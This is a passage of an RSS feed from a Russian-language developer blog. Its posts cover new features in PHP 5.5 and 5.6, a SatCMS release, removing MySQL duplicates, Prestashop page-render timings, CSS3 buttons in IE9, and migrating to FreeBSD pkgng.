      <pubDate>Wed, 08 Apr 2015 12:25:21 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>PHP 5.6 - Что нового</title>
      <description>&lt;strong&gt;Функции с переменным количеством аргументов ...&lt;/strong&gt; // Variadic functions&lt;br /&gt;
&lt;br /&gt;
Новый оператор &lt;strong&gt;...&lt;/strong&gt;, означающий упаковку/раскаповку аргументов.&lt;br /&gt;
&lt;br /&gt;
Например, func_get_args() теперь может быть заменена на &lt;br /&gt;
&lt;br /&gt;
Массивы и перечисляемые типы могут быть распакованы в список аргументов.&lt;br /&gt;
Этот оператор известен как &amp;quot;splat operator&amp;quot; в других языках, например Ruby.&lt;br /&gt;
&lt;br /&gt;
Пример: известная своим неторопливым временем исполнения функция &lt;br /&gt;
call_user_func_array(callable $callback, array $param_arr)&lt;br /&gt;
&lt;br /&gt;
может быть заменена на &lt;br /&gt;
&lt;br /&gt;
&lt;div class='code'&gt;&lt;code data-language=&quot;php&quot; class=&quot;lang-php&quot;&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;$param_arr&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color: #cc66cc;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #cc66cc;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #cc66cc;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #0000ff;&quot;&gt;$callback&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color: #0000ff;&quot;&gt;$param_arr&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #339933;&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;
</description>
      <link>http://xc.skillz.ru/dev/php/article-PHP_5_6_whats_new.html</link>
      <pubDate>Tue, 18 Nov 2014 13:23:00 +0300</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>SatCMS 0.0.2 - Bootstrap3, jQuery, RequireJS, AngularJS, PHP, mySQL|SQLite</title>
      <description>Решил на досуге переписать свою старую мультисайтовую cms (SatCMS).&lt;br /&gt;
&lt;br /&gt;
Что получилось:&lt;br /&gt;
&lt;br /&gt;
- php &amp;gt;=5.3, mysql/sqlite&lt;br /&gt;
- зависимости обрабатываются менеджерами пакетов: php - composer, js - bower&lt;br /&gt;
- мультисайтовость (возможность вести несколько сайтов/поддоменов) на одном движке&lt;br /&gt;
- морда/админка - шаблоны smarty, bootstrap 3&lt;br /&gt;
- админ-бэкенд на requirejs/angularjs/bootstrap. &lt;br /&gt;
  Angular-way не блюдется, так как много легаси кода, и выпиливать jquery-подход совсем не хочется, простите за dom в контроллере :)&lt;br /&gt;
- правка элементов сайта прямо с морды (пользуется inline tinymce)&lt;br /&gt;
&lt;br /&gt;
&lt;img src=&quot;http://satcms.ru/images/thumb.png&quot; border=&quot;0&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
Посмотреть:&lt;br /&gt;
&lt;br /&gt;
Демо &lt;a href=&quot;http://satcms.ru/&quot;  class=&quot;postlink&quot;&gt;http://satcms.ru/&lt;/a&gt;&lt;br /&gt;
Гитхаб &lt;a href=&quot;/r.php?url=https://github.com/rustyJ4ck/SatCMS&quot; title=&quot;https://github.com/rustyJ4ck/SatCMS&quot; class=&quot;postlink&quot; target=&quot;_blank&quot;&gt;https://github.com/rustyJ4ck/SatCMS&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
</description>
      <link>http://xc.skillz.ru/dev/php/article-restyle_SatCMS.html</link>
      <pubDate>Wed, 21 May 2014 16:56:25 +0400</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>Mysql удаление дублей в таблице</title>
      <description>Имеем таблицу с торговыми предложениями&lt;br /&gt;
&lt;br /&gt;
&lt;div class='code'&gt;&lt;code data-language=&quot;sql&quot; class=&quot;lang-sql&quot;&gt;&lt;span style=&quot;color: #990099; font-weight: bold;&quot;&gt;CREATE&lt;/span&gt; &lt;span style=&quot;color: #990099; font-weight: bold;&quot;&gt;TABLE&lt;/span&gt; &lt;span style=&quot;color: #990099; font-weight: bold;&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;IF&lt;/span&gt; &lt;span style=&quot;color: #CC0099; font-weight: bold;&quot;&gt;NOT&lt;/span&gt; EXISTS&lt;/span&gt; &lt;span style=&quot;color: #008000;&quot;&gt;`offers`&lt;/span&gt; &lt;span style=&quot;color: #FF00FF;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span style=&quot;color: #008000;&quot;&gt;`id`&lt;/span&gt; &lt;span style=&quot;color: #999900; font-weight: bold;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #FF00FF;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #008080;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #FF00FF;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #FF9900; font-weight: bold;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #CC0099; font-weight: bold;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #9900FF; font-weight: bold;&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;color: #000033;&quot;&gt;,&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span style=&quot;color: #008000;&quot;&gt;`product&lt;span style=&quot;color: #008080; font-weight: bold;&quot;&gt;_&lt;/span&gt;id`&lt;/span&gt; &lt;span style=&quot;color: #999900; font-weight: bold;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color: #FF00FF;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #008080;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #FF00FF;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #FF9900; font-weight: bold;&quot;&gt;unsigned&lt;/span&gt; &lt;span style=&quot;color: #CC0099; font-weight: bold;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #9900FF; font-weight: bold;&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;color: #000033;&quot;&gt;,&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span style=&quot;color: #008000;&quot;&gt;`value`&lt;/span&gt; &lt;span style=&quot;color: #999900; font-weight: bold;&quot;&gt;decimal&lt;/span&gt;&lt;span style=&quot;color: #FF00FF;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #008080;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #000033;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;color: #008080;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #FF00FF;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #CC0099; font-weight: bold;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #9900FF; font-weight: bold;&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;color: #000033;&quot;&gt;,&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span style=&quot;color: #008000;&quot;&gt;`discount`&lt;/span&gt; &lt;span style=&quot;color: #999900; font-weight: bold;&quot;&gt;tinyint&lt;/span&gt;&lt;span style=&quot;color: #FF00FF;&quot;&gt;&amp;#40;&lt;/span&gt;&lt;span style=&quot;color: #008080;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #FF00FF;&quot;&gt;&amp;#41;&lt;/span&gt; &lt;span style=&quot;color: #CC0099; font-weight: bold;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #9900FF; font-weight: bold;&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;color: #000033;&quot;&gt;,&lt;/span&gt;&lt;br /&gt;
&amp;nbsp; &lt;span style=&quot;color: #008000;&quot;&gt;`created&lt;span style=&quot;color: #008080; font-weight: bold;&quot;&gt;_&lt;/span&gt;at`&lt;/span&gt; &lt;span style=&quot;color: #999900; font-weight: bold;&quot;&gt;datetime&lt;/span&gt; &lt;span style=&quot;color: #CC0099; font-weight: bold;&quot;&gt;NOT&lt;/span&gt; &lt;span style=&quot;color: #9900FF; font-weight: bold;&quot;&gt;NULL&lt;/span&gt; &lt;span style=&quot;color: #990099; font-weight: bold;&quot;&gt;DEFAULT&lt;/span&gt; &lt;span style=&quot;color: #000099;&quot;&gt;CURRENT_TIMESTAMP&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #FF00FF;&quot;&gt;&amp;#41;&lt;/span&gt;&lt;span style=&quot;color: #000033;&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;</description>
      <link>http://xc.skillz.ru/dev/php/article-mysql-delete-duplicates-based-on-date-id.html</link>
      <pubDate>Tue, 10 Sep 2013 15:20:00 +0400</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>Prestashop 1.5.3, впечатления</title>
      <description>Под 200 запросов на рендер главной страницы - это многовато.&lt;br /&gt;
Например выборка брендов и товаров для них занимает порядочное количество времени, если&lt;br /&gt;
делать это с помощью средств встроенной ORM.&lt;br /&gt;
&lt;br /&gt;
Пример времени выполнения главной страницы&lt;br /&gt;
с включенным файловым кэшем, отключенными сайдбарами и практически без модулей&lt;br /&gt;
&lt;br /&gt;
&lt;div class='code'&gt;&lt;code data-language=&quot;php&quot; class=&quot;lang-php&quot;&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color:#800080;&quot;&gt;0.0000&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; Start&lt;br /&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color:#800080;&quot;&gt;0.0925&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; DispatcherCore&lt;span style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #004000;&quot;&gt;dispatch&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; IndexController&lt;br /&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color:#800080;&quot;&gt;0.1333&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; FrontControllerCore&lt;span style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #004000;&quot;&gt;initContent&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color:#800080;&quot;&gt;0.2011&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; INDEX IndexController&lt;span style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #004000;&quot;&gt;initContent&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color:#800080;&quot;&gt;0.2063&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; HomeSlider&lt;span style=&quot;color: #339933;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #004000;&quot;&gt;hookDisplayHome&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color:#800080;&quot;&gt;0.2735&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; PSwidget text cached &lt;span style=&quot;color: #339933;&quot;&gt;--&lt;/span&gt; &lt;span style=&quot;color:#800080;&quot;&gt;0.00029&lt;/span&gt; ttl &lt;span style=&quot;color: #cc66cc;&quot;&gt;300&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color:#800080;&quot;&gt;0.2740&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; PSwidget index&lt;span style=&quot;color: #339933;&quot;&gt;/&lt;/span&gt;brands cached &lt;span style=&quot;color: #339933;&quot;&gt;--&lt;/span&gt; &lt;span style=&quot;color:#800080;&quot;&gt;0.00032&lt;/span&gt; ttl &lt;span style=&quot;color: #cc66cc;&quot;&gt;300&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color:#800080;&quot;&gt;0.2750&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; Smarty&lt;span style=&quot;color: #339933;&quot;&gt;:&lt;/span&gt; &lt;span style=&quot;color: #339933;&quot;&gt;/&lt;/span&gt;themes&lt;span style=&quot;color: #339933;&quot;&gt;/&lt;/span&gt;mytheme&lt;span style=&quot;color: #339933;&quot;&gt;/&lt;/span&gt;layout&lt;span style=&quot;color: #339933;&quot;&gt;-&lt;/span&gt;index&lt;span style=&quot;color: #339933;&quot;&gt;.&lt;/span&gt;tpl &lt;span style=&quot;color: #339933;&quot;&gt;--&lt;/span&gt; &lt;span style=&quot;color:#800080;&quot;&gt;0.00666&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color:#800080;&quot;&gt;0.2751&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; Done&lt;br /&gt;
&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#91;&lt;/span&gt;&lt;span style=&quot;color:#800080;&quot;&gt;0.2752&lt;/span&gt;&lt;span style=&quot;color: #009900;&quot;&gt;&amp;#93;&lt;/span&gt; SQL &lt;span style=&quot;color: #cc66cc;&quot;&gt;92&lt;/span&gt; x &lt;span style=&quot;color:#800080;&quot;&gt;0.02554&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
</description>
      <link>http://xc.skillz.ru/dev/php/article-Prestashop_1-5-3_what_is_this.html</link>
      <pubDate>Sun, 24 Feb 2013 15:16:46 +0400</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
    <item>
      <title>CSS3 кнопки и IE9</title>
      <description>IE9, казалось бы, должен безусловно поддерживать CSS3, но увы - только частично.&lt;br /&gt;
К примеру, кнопку с градиентом и скругленными углами (border-radius) IE9 нарисует с бэкграундом,&lt;br /&gt;
выступающим за скругленные углы. Вместо того чтобы реализовать нормальную поддержку css, мелкософт сделал&lt;br /&gt;
поделку (внезапно - полезную), которая позволяет генерить градиенты в svg формате для использования  в качестве&lt;br /&gt;
бэкграунда.&lt;br /&gt;
&lt;br /&gt;
Что делать?</description>
      <link>http://xc.skillz.ru/dev/css_jabascript/article-CSS3_buttons_IE9_gradient_radius.html</link>
      <pubDate>Fri, 22 Feb 2013 11:33:28 +0400</pubDate>
      <author>surg30n</author>
      <category>CSS/Javascript</category>
    </item>
    <item>
      <title>Менеджер пакетов pkgng FreeBSD 8.4 (pkg_* -&gt; pkg)</title>
      <description>Переход на пакетный менеджер pkgng&lt;br /&gt;
&lt;br /&gt;
На старом сервере при установке пакета увидел сообщение - &lt;br /&gt;
pkg_install EOL is scheduled for 2014-09-01. Please consider migrating to pkgng&lt;br /&gt;
--&amp;gt; решил обновить пакетный менеджер.</description>
      <link>http://xc.skillz.ru/dev/freebsd/article-pkgng-freebsd-8-4.html</link>
      <pubDate>Mon, 10 Sep 2012 15:20:00 +0400</pubDate>
      <author>surg30n</author>
      <category>Сервер (FreeBSD)</category>
    </item>
    <item>
      <title>PHP 5.5 что нового</title>
      <description>&lt;strong&gt;Новый функционал для работы с паролями&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Текущая реализация генерации пароля в большинстве проектов стоится на не стойких&lt;br /&gt;
алгоритмах типа md5, sha1. В php5.5 предлагается улучшить парольный API.&lt;br /&gt;
&lt;a href=&quot;/r.php?url=https://wiki.php.net/rfc/password_hash&quot; title=&quot;Подробнее (https://wiki.php.net/rfc/password_hash)&quot; class=&quot;postlink&quot; target=&quot;_blank&quot;&gt;Подробнее&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;empty() заставят работать с функциями и выражениями&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
В настоящий момент empty($this-&amp;gt;getBlah()) вызовет фатальную ошибку.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Скалярные тайпхинты!&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
Дождались.. PHP, язык с отсутствующей типизацией параметров возможно обзаведется&lt;br /&gt;
уточнениями типов (typehints) для простых типов int, float, bool, string.</description>
      <link>http://xc.skillz.ru/dev/php/article-php-5-5-whats-new.html</link>
      <pubDate>Thu, 12 Jul 2012 17:13:14 +0400</pubDate>
      <author>surg30n</author>
      <category>PHP (LAMP)</category>
    </item>
  </channel></rss>